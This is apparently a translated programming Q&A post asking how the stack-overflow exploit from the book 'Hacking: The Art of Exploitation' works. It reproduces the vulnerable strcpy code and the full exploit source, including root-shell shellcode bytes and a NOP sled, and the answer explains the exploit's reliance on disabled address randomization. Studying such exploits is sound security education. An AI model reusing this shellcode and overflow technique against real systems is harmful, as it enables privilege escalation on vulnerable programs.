我正在读这本书“剥削艺术”,这本书很好,我从exploit_notesearch.c文件中看到了这个例子。
简要的作者试图从notesearch.c溢出程序
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
main函数的参数被复制到searchstring数组中,如果参数大于100个字节,它将从main函数溢出返回地址。
作者在exploit_notesearch.c中准备shellcode并调用易受攻击的notesearch.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; i < 160; i+=4) // Fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); //run exploit
}
你可以看到shellcode与NOP sled和返回地址相结合,它应该指向那个NOP底座。作者使用局部变量i的地址作为参考点,并减去270字节,从而试图找出NOP雪橇的大致位置。
据我所知,作者假设易受攻击的notesearch.c中的主函数的堆栈帧与来自exploit_notesearch.c的main函数的堆栈帧位于同一堆栈段中。我假设这是因为只有这样这种操作与局部变量i的地址才能起作用。
但是,作者在系统()的帮助下调用了易受攻击的notesearch.c,就像这个系统(命令)一样。我的观点是,这个函数system()里面的某个地方使用fork()来生成子进程,之后使用exec()函数来改变进程的图像。但是如果图像被更改,则意味着堆栈段将是新鲜的,并且所有那些在exploit_notesearch.c中的main函数中具有局部变量i的地址的操作将是无用的,但不知何故,这种漏洞利用对我来说完全令人困惑。
答案 0 :(得分:11)
作者只是假设C编译器将这两个程序的堆栈放在操作系统不会执行的相同(或非常相似)的虚拟地址和 address randomization (ASLR)。这意味着两个主要功能的堆栈帧将大致位于同一位置,从而实现此功能。
这不是一种非常强大的利用方式,正如您可以想象的那样(在大多数现代64位系统上它可能会失败)。更强大的漏洞利用可以使用return oriented programming的形式,或者可以尝试利用现有的char *argv
指针指向相关的堆栈帧。